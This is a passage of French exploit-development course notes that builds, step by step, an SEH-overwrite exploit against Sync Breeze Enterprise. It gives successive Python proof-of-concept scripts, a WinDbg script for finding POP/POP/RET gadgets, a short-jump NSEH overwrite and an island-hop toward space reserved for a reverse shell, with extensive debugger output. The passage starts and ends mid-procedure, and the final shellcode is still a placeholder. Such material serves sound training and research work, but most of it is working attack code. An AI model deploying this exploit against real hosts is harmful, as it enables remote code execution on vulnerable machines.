  b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d"
  b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a"
  b"\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27"
  b"\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34"
  b"\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
  b"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
  b"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b"
  b"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
  b"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75"
  b"\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
  b"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
  b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c"
  b"\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9"
  b"\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6"
  b"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
  b"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd"
  b"\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea"
  b"\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7"
  b"\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

  inputBuffer = b"\x41" * 128
  inputBuffer += b"\x42\x42\x42\x42"
  inputBuffer += badchars
  inputBuffer += b"\x43" * (size - len(inputBuffer))

  header =  b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])

  buf = header + inputBuffer
  [...]

WinDbg suite à l'exécution de l'exploit :

0:011> g
(b40.17d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=77853b20 esi=00000000 edi=00000000
eip=42424242 esp=021af438 ebp=021af458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
42424242 ??              ???

EIP est toujours sous notre contrôle et contient bien les 0x42. On affiche maintenant les octets pointés par le deuxième paramètre (EstablisherFrame) passé à la fonction _except_handler à partir du registre de pile (ESP) :

Note : Comme vu précédemment, c'est le paramètre EstablisherFrame qui contient notre payload et donc les caractères de 0x01 a 0xFF.

#
0:011> dds esp L5
021af438  77853b02 ntdll!ExecuteHandler2+0x26
021af43c  021af540
021af440  021aff54
021af444  021af55c
021af448  021af4cc
#
0:011> db 021aff54
021aff54  41 41 41 41 42 42 42 42-01 03 04 05 06 07 08 09  AAAABBBB........
021aff64  00 3e 8d 00 38 6b d8 00-72 40 8d 00 40 6f d8 00  .>..8k..r@..@o..

On identifie que 0x02 n'est pas présent, indiquant que c'est un mauvais caractère.

On continue la procédure jusqu'à identifier tous les mauvais caractères.

Note : Il est possible qu'il n'y ait pas assez de place pour stocker tous les caractères jusqu'à 0xFF. Dans ce cas, il est nécessaire de supprimer une première partie ayant déjà été validée pour vérifier les caractères suivants.

Trouver une séquence P/P/R

Pour rediriger le flot d'exécution, il faut donc trouver une séquence d'instruction P/P/R tout en prenant en compte les protections mémoire.

On utilise les modules présents nativement dans WinDBG :

0:009> .load narly
#
# List tous les modules chargés et leurs protections mémoire
0:009> !nmod
00400000 00463000 syncbrs              /SafeSEH OFF                C:\Program Files\Sync Breeze Enterprise\bin\syncbrs.exe
00540000 00614000 libpal               /SafeSEH OFF                C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
00920000 009d5000 libsync              /SafeSEH OFF                C:\Program Files\Sync Breeze Enterprise\bin\libsync.dll
10000000 10226000 libspp               /SafeSEH OFF                C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll
53ea0000 53eb6000 pnrpnsp              /SafeSEH ON  /GS *ASLR *DEP C:\Windows\system32\pnrpnsp.dll
549a0000 549b1000 napinsp              /SafeSEH ON  /GS *ASLR *DEP 
[...]
75e70000 75e92000 GDI32                NO_SEH       /GS *ASLR *DEP C:\Windows\System32\GDI32.dll
77710000 777a5000 KERNEL32             /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\KERNEL32.DLL
777b0000 77940000 ntdll                /SafeSEH ON  /GS *ASLR *DEP C:\Windows\SYSTEM32\ntdll.dll
  • L'indication /SafeSEH OFF indique que syncbrs.exe et les modules libpal.dll - libsync.dll et libspp.dll sont compilés sans SafeSEH
  • Les protections DEP et ASLR ne sont pas actives non plus

Pour que l'exploit soit le plus stable possible on va chercher la séquence P/P/R dans un module qui fait partie de l'application, ainsi libspp.dll est un bon candidat.

On va écrire un petit script pour chercher les instructions P/P/R car contrairement à l'instruction JMP ESP qu'on cherchait via la commande s de WinDBG, ici les instructions POP peuvent s'appliquer à un grand nombre de registres.

Le script aura besoin des éléments suivants pour fonctionner :

  • L'adresse de début de la plage mémoire
  • L'adresse de fin de la plage mémoire
0:009> lm m libspp
Browse full module list
start    end        module name
10000000 10226000   libspp     (deferred) 
  • Les opcodes des instructions à chercher
  • On génère les opcodes des instructions POP pour tous les registres x86 sauf ESP
$ msf-nasm_shell 
nasm > pop eax
00000000  58                pop eax
#
nasm > pop ebx
00000000  5B                pop ebx
#
nasm > pop ecx
00000000  59                pop ecx
#
nasm > pop edx
00000000  5A                pop edx
#
nasm > pop esi
00000000  5E                pop esi
#
nasm > pop edi
00000000  5F                pop edi
#
nasm > pop ebp
00000000  5D                pop ebp
#
nasm > ret
00000000  C3                ret

On voit que les opcodes se suivent pour les instructions POP R32 : 58 59 5a 5b [5c] 5d 5e 5f.

Script final pour identifier la séquence en mémoire :

  • .block : Définis un bloc de code à exécuter
  • .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) : Boucle en utilisant le pseudo-registre t0 en commençant à 0x58 pour finir avant 0x5F. Cette première boucle vise à identifier la première instruction POP R32.
  • .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) : Deuxième boucle qui vise à identifier la deuxième instruction POP R32.
  • s-[1]b 10000000 10226000 $t0 $t1 c3 : Commande de recherche des instructions P/P/R.
  • Le flag 1 indique qu'on veut afficher l'adresse ou les opcodes sont trouvés
  • Adresses de début et de fin du module cible
  • Les deux pseudo-regitres t0 et t1
  • Opcode de l'instruction ret
.block
{
 .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01)
 {
  .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01)
  {
   s-[1]b 10000000 10226000 $t0 $t1 c3
  }
 }
}

Le script peut être enregistré sur le disque pour être ensuite exécuté via WinDBG :

0:009> $><C:\Users\Offsec\Downloads\script.wds
0x1015a2f0
0x100087dd
0x10008808
[...]
0x100491e4

On désassemble la première adresse indiquée par le script. Le flot P/P/R s'y trouve bien :

libspp!pcre_exec+0x16460:
1015a2f0 58              pop     eax
1015a2f1 5b              pop     ebx
1015a2f2 c3              ret

On modifie la preuve de concept :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 9121
  size = 1000

  inputBuffer = b"\x41" * 128                           # Offset exact
  inputBuffer += pack("<L", (0x1015a2f0))               # P/P/R (EIP)
  inputBuffer += b"\x43" * (size - len(inputBuffer))    # Payload

  header =  b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])

  buf = header + inputBuffer
  [...]

WinDbg suite à l'exécution de l'exploit :

#
0:010> g
(418.e08): Invalid lock sequence - code c000001e (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=77853b02 ebx=01aaf540 ecx=1015a2f4 edx=77853b20 esi=00000000 edi=00000000
eip=01aaff58 esp=01aaf444 ebp=01aaf458 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
01aaff58 f0a215104343    lock mov byte ptr ds:[43431015h],al ds:0023:43431015=??
#
0:010> !exchain
01aaf44c: ntdll!ExecuteHandler2+44 (77853b20)
01aafe1c: libpal!md5_starts+149fb (009edf5b)
01aaff54: *** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll
libspp!pcre_exec+16460 (1015a2f0)
Invalid exception stack at 41414141
#
0:010> u 1015a2f0 L3
libspp!pcre_exec+0x16460:
1015a2f0 58              pop     eax
1015a2f1 5b              pop     ebx
1015a2f2 c3              ret

On retrouve bien l'adresse des instructions P/P/R via la commande !exchain : libspp!pcre_exec+16460 (1015a2f0). En désassemblant le contenu de l'adresse 1015a2f0 on retrouve bien les instructions P/P/R.

On positionne un point d'arrêt sur l'adresse de la séquence P/P/R puis on relance l'exécution :

#
0:009> bp 0x1015a2f0

Point d'arrêt atteint, EIP contient bien l'adresse pointant vers la séquence P/P/R :

#
0:009> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=01a4ef00 ebp=01a4ef20 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58              pop     eax

On déroule étape par étape :

#
0:009> r
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=01a4ef00 ebp=01a4ef20 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58              pop     eax
#
0:009> t
eax=77853b02 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f1 esp=01a4ef04 ebp=01a4ef20 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16461:
1015a2f1 5b              pop     ebx
#
0:009> t
eax=77853b02 ebx=01a4f008 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f2 esp=01a4ef08 ebp=01a4ef20 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16462:
1015a2f2 c3              ret

On a bien été capable de rediriger le flot. Le flot suit l'adresse indiquée via exchain qui est l'adresse ou commence notre séquence P/P/R.

On déréférence le registre de pile (ESP) :

0:008> dd poi(esp) L8
018fff54  41414141 1015a2f0 43434343 43434343
018fff64  43434343 43434343 43434343 43434343

0:008> t
eax=77383b02 ebx=018ff540 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=018fff54 esp=018ff444 ebp=018ff458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
018fff54 41              inc     ecx

Après l'exécution de RET on retourne sur la pile au sein de notre payload juste avant l'adresse de notre _except_handler (exchain).

Ceci est dû au fait que le paramètre EstablisherFrame pointe sur le début de la structure _EXCEPTION_REGISTRATION_RECORD qui a pour premier élément le membre Next suivi par _except_handler.

Island-Hopping

Comme indiqué précédemment, la structure EXCEPTION_REGISTRATION_RECORD commence avec le membre Next. Une fois que l'exécution est redirigée vers ce membre sur la pile via la séquence P/P/R le CPU va exécuter les instructions assembleur générées via la opcodes de l'adresse mémoire contenant la séquence P/P/R.

Les octets qui composent l'adresse des instructions P/P/R sont traduits en une instruction lock mov byte ptr ds:[43431015h],al :

0:011> u eip L8
01f2ff54 41              inc     ecx
01f2ff55 41              inc     ecx
01f2ff56 41              inc     ecx
01f2ff57 41              inc     ecx
01f2ff58 f0a215104343    lock mov byte ptr ds:[43431015h],al  #
01f2ff5e 43              inc     ebx
01f2ff5f 43              inc     ebx
01f2ff60 43              inc     ebx
#
0:011> dd 0x43431015 L4                       # Adresse pas mappée
43431015  ???????? ???????? ???????? ????????

Cette instruction va écrire le registre al dans 0x43431015. Ce n'est pas une adresse mappée donc il va y avoir un access violation.

On peut contourner ça en utilisant les 4er bytes de la structure Next SEH pour créer une instruction qui va sauter (jump) par-dessus et rediriger vers un shellcode après l'adresse P/P/R.

En assembleur, les short jump sont aussi appelés relative jump. Le premier opcode d'un short jump est toujours 0XEB et le second opcode est l'offset relatif en avant ou en arrière.

Le jump relatif est de 06 bytes plutôt que 4, qui est la taille de l'adresse P/P/R, car l'offset est calculé à partir de l'adresse suivant le jump.

On modifie la preuve de concept en ajoutant 06eb correspondant au short jump suivis de deux instructions NOP représentées par les opcode 9090 :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 9121
  size = 1000

  inputBuffer = b"\x41" * 124                        # On baisse de 4 la taille (de 128 a 124)
  inputBuffer += pack("<L",(0x06eb9090))             # Next Structure Exception Handler
  inputBuffer += pack("<L", (0x1015a2f0))            # P/P/R (EIP)
  inputBuffer += b"\x43" * (size - len(inputBuffer)) # Payload

  header =  b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])

  buf = header + inputBuffer
  [...]

WinDbg suite à l'exécution de l'exploit :

(cd4.1814): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=019efa1c ecx=019eff18 edx=019ef9d4 esi=019eff18 edi=019efb20
eip=00862a9d esp=019ef9a8 ebp=019efec8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
libpal!SCA_ConfigObj::Deserialize+0x1d:
00862a9d ff5024          call    dword ptr [eax+24h]  ds:0023:41414165=????????

La commande exchain nous affiche bien 1015a2f0 qui est l'adresse contenant la séquence P/P/R :

0:009> !exchain
019efe1c: libpal!md5_starts+149fb (008ddf5b)
019eff54: *** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll
libspp!pcre_exec+16460 (1015a2f0)
Invalid exception stack at 06eb9090

On positionne de nouveau un point d'arrêt sur cette adresse et on relance l'exécution :

#
0:009> bp 0x1015a2f0
#
0:009> g

Le point d'arrêt et atteint et on déroule pas à pas la séquence P/P/R :

#
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=019ef438 ebp=019ef458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58              pop     eax
#
0:009> r
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=019ef438 ebp=019ef458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58              pop     eax
#
0:009> t
eax=77853b02 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f1 esp=019ef43c ebp=019ef458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16461:
1015a2f1 5b              pop     ebx
#
0:009> t
eax=77853b02 ebx=019ef540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f2 esp=019ef440 ebp=019ef458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16462:
1015a2f2 c3              ret

On arrive sur les deux instructions NOP qui précèdent le short jump :

# 1er NOP (90)
0:009> t
eax=77853b02 ebx=019ef540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019eff54 esp=019ef444 ebp=019ef458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
019eff54 90              nop
# 2em NOP (90)
0:009> t
eax=77853b02 ebx=019ef540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019eff55 esp=019ef444 ebp=019ef458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
019eff55 90              nop
# Short JUMP `eb06`
0:009> t
eax=77853b02 ebx=019ef540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019eff56 esp=019ef444 ebp=019ef458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
019eff56 eb06            jmp     019eff5e

Après exécution du short jump on est dans notre payload juste après le SEH :

0:009> dd 019eff5e - 0x06
019eff58  1015a2f0 43434343 43434343 43434343
019eff68  43434343 43434343 43434343 43434343
019eff78  43434343 43434343 43434343 43434343
019eff88  43434343 43434343 43434343 43434343
019eff98  43434343 43434343 43434343 43434343
019effa8  43434343 43434343 43434343 43434343
019effb8  43434343 43434343 43434343 43434343
019effc8  43434343 43434343 43434343 43434343

Si on affiche plus en détail le payload on se rend compte qu'il est tronqué et proche du début de la pile :

[...]
eax=77853b02 ebx=019ef540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019eff56 esp=019ef444 ebp=019ef458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
019eff56 eb06            jmp     019eff5e
#
0:009> dd eip L30
019eff56  a2f006eb 43431015 43434343 43434343
019eff66  43434343 43434343 43434343 43434343
019eff76  43434343 43434343 43434343 43434343
019eff86  43434343 43434343 43434343 43434343
019eff96  43434343 43434343 43434343 43434343
019effa6  43434343 43434343 43434343 43434343
019effb6  43434343 43434343 43434343 43434343
019effc6  43434343 43434343 43434343 43434343
019effd6  43434343 ff004343 2910019e ffff7781
019effe6  3c67ffff 00007785 00000000 3e100000
019efff6  65480089 000000dc ???????? ????????
019f0006  ???????? ???????? ???????? ????????
0:009> !teb
TEB at 002b2000
    ExceptionList:        019ef44c
    StackBase:            019f0000                # Début de la stack
[...]

Il n'y a pas assez d'espace ici pour stocker un reverse shell Meterpreter.

La preuve de concept envoie près de 1000 octets qui ne sont pas présents à cet endroit là. On veut identifier l'espace en mémoire où ils sont stockés pour y jump et y stocker le shellcode.

On modifie la preuve de concept de façon à stocker le futur shellcode dans une variable distincte avec un contenu facilement identifiable :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 9121
  size = 1000

  shellcode = b"\x43" * 400

  inputBuffer = b"\x41" * 124
  inputBuffer += pack("<L",(0x06eb9090))             # (NSEH)
  inputBuffer += pack("<L", (0x1015a2f0))            # (SEH)  P/P/R
  inputBuffer += b"\x90" * (size - len(inputBuffer) - len(shellcode))
  inputBuffer += shellcode

  header =  b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])

  buf = header + inputBuffer
  [...]

WinDbg suite à l'exécution de l'exploit :

  • Access violation
  • Définition du point d'arrêt comme précédemment sur l'exception_handler
  • Relancer l'exécution
  • Exécution de la séquence P/P/R
  • Exécution du short jump
  • Exécution des instructions NOP
0:009> g
(d24.155c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=019bfa1c ecx=019bff18 edx=019bf9d4 esi=019bff18 edi=019bfb20
eip=008d2a9d esp=019bf9a8 ebp=019bfec8 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
libpal!SCA_ConfigObj::Deserialize+0x1d:
008d2a9d ff5024          call    dword ptr [eax+24h]  ds:0023:41414165=????????
0:009> !exchain
019bfe1c: libpal!md5_starts+149fb (0094df5b)
019bff54: *** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll
libspp!pcre_exec+16460 (1015a2f0)
Invalid exception stack at 06eb9090
#
0:009> bp 0x1015a2f0
0:009> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=019bf438 ebp=019bf458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58              pop     eax
#
# P/P/R
#
0:009> r
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=019bf438 ebp=019bf458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58              pop     eax
0:009> t
eax=77853b02 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f1 esp=019bf43c ebp=019bf458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16461:
1015a2f1 5b              pop     ebx
0:009> t
eax=77853b02 ebx=019bf540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f2 esp=019bf440 ebp=019bf458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16462:
1015a2f2 c3              ret
#
# SHORT JUMP
#
0:009> t
eax=77853b02 ebx=019bf540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019bff54 esp=019bf444 ebp=019bf458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
019bff54 90              nop
0:009> t
eax=77853b02 ebx=019bf540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019bff55 esp=019bf444 ebp=019bf458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
019bff55 90              nop
0:009> t
eax=77853b02 ebx=019bf540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019bff56 esp=019bf444 ebp=019bf458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
019bff56 eb06            jmp     019bff5e
#
# DEBUT DES \x90
#
0:009> t
eax=77853b02 ebx=019bf540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019bff5e esp=019bf444 ebp=019bf458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
019bff5e 90              nop

On veut maintenant chercher dans toute la pile le passage de 0x90 à notre shellcode de 0x43. Pour cela on récupère les adresses de début et de fin de la pile :

0:009> !teb
TEB at 00304000
    ExceptionList:        019bf44c
    StackBase:            019c0000
    StackLimit:           019be000
[...]

On recherche dans toute la pile le passage de 0x90 à notre shellcode de 0x43 :

0:009> s -b 019be000 019c0000 90 90 90 90 43 43 43 43 43 43 43 43
019bfc70  90 90 90 90 43 43 43 43-43 43 43 43 43 43 43 43  ....CCCCCCCCCCCC

On vérifie que le shellcode n'est pas tronqué :

0:009> dd 019bfc70 L65
019bfc70  90909090 43434343 43434343 43434343
019bfc80  43434343 43434343 43434343 43434343
019bfc90  43434343 43434343 43434343 43434343
019bfca0  43434343 43434343 43434343 43434343
019bfcb0  43434343 43434343 43434343 43434343
019bfcc0  43434343 43434343 43434343 43434343
019bfcd0  43434343 43434343 43434343 43434343
019bfce0  43434343 43434343 43434343 43434343
019bfcf0  43434343 43434343 43434343 43434343
019bfd00  43434343 43434343 43434343 43434343
019bfd10  43434343 43434343 43434343 43434343
019bfd20  43434343 43434343 43434343 43434343
019bfd30  43434343 43434343 43434343 43434343
019bfd40  43434343 43434343 43434343 43434343
019bfd50  43434343 43434343 43434343 43434343
019bfd60  43434343 43434343 43434343 43434343
019bfd70  43434343 43434343 43434343 43434343
019bfd80  43434343 43434343 43434343 43434343
019bfd90  43434343 43434343 43434343 43434343
019bfda0  43434343 43434343 43434343 43434343
019bfdb0  43434343 43434343 43434343 43434343
019bfdc0  43434343 43434343 43434343 43434343
019bfdd0  43434343 43434343 43434343 43434343
019bfde0  43434343 43434343 43434343 43434343
019bfdf0  43434343 43434343 43434343 43434343
019bfe00  43434343

Le payload commence très précisément à 019bfc74, c'est-à-dire 4 octets après 019bfc70 qui contient les 90909090 :

0:009> dd 019bfc74 L65
019bfc74  43434343 43434343 43434343 43434343
019bfc84  43434343 43434343 43434343 43434343
019bfc94  43434343 43434343 43434343 43434343
[...]
019bfdf4  43434343 43434343 43434343 43434343
019bfe04  fffffffe

Il faut maintenant trouver l'écart entre notre pointeur de pile (ESP) et le début du payload. On va utiliser l'espace limité qu'on a pour assembler les instructions qui vont permettre de island hop pour rediriger vers le payload.

On soustrait l'adresse ou commence le payload à celle contenue dans le pointeur de pile à ce moment-là :

0:009> ? 019bfc74 - @esp
Evaluate expression: 2096 = 00000830

Note : Pour s'assurer que la différence reste stable, il faut relancer plusieurs fois l'exploit, de préférence sur des systèmes différents. Dans le cas où il y aurait des variations, il est conseillé de le préfixer par des NOP.

Pour atteindre notre payload on va augmenter ESP (stack pointer) de 0x830 et ensuite faire JMP ESP. Ce opcode contient des null byte qui est un mauvais caractère :

┌──(kalikali)-[/media//os/exp-301-osed/cours/cours4]
└─$ msf-nasm_shell
nasm > add esp,0x830
00000000  81C430080000      add esp,0x830

On fait l'ajout sur le registre sp qui correspond au 16 bits du bas pour contourner ce problème :

nasm > add sp,0x830
00000000  6681C43008        add sp,0x830
nasm > jmp esp
00000000  FFE4              jmp esp

On modifie la preuve de concept en ajoutant les nouveaux opcodes :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 9121
  size = 1000

  shellcode = b"\x90" * 8
  shellcode = b"\x43" * (400 - len(shellcode))

  inputBuffer = b"\x41" * 124
  inputBuffer += pack("<L",(0x06eb9090))             # (NSEH)
  inputBuffer += pack("<L", (0x1015a2f0))            # (SEH)  P/P/R
  inputBuffer += b"\x90" * 2
  inputBuffer += b"\x66\x81\xc4\x30\x08"             # ADD SP,0x830
  inputBuffer += b"\xff\xe4"                         # JMP ESP
  inputBuffer += b"\x90" * (size - len(inputBuffer) - len(shellcode))
  inputBuffer += shellcode

  header =  b"\x75\x19\xba\xab"

WinDbg suite à l'exécution de l'exploit :

  • Access violation
  • Définition du point d'arrêt comme précédemment sur l'exception_handler
  • Relancer l'exécution
  • Exécution de la séquence P/P/R
  • Exécution du short jump
  • Exécution des instructions NOP
  • Exécution des instructions permettant de combler l'écart jusqu'au payload
0:009> g
(690.13a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=01c9fa1c ecx=01c9ff18 edx=01c9f9d4 esi=01c9ff18 edi=01c9fb20
eip=00872a9d esp=01c9f9a8 ebp=01c9fec8 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
libpal!SCA_ConfigObj::Deserialize+0x1d:
00872a9d ff5024          call    dword ptr [eax+24h]  ds:0023:41414165=????????
0:009> !exchain
01c9fe1c: libpal!md5_starts+149fb (008edf5b)
01c9ff54: *** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll
libspp!pcre_exec+16460 (1015a2f0)
Invalid exception stack at 06eb9090
#
#
0:009> bp 0x1015a2f0
0:009> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=01c9f438 ebp=01c9f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58              pop     eax
#
# P/P/R
#
0:009> r
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
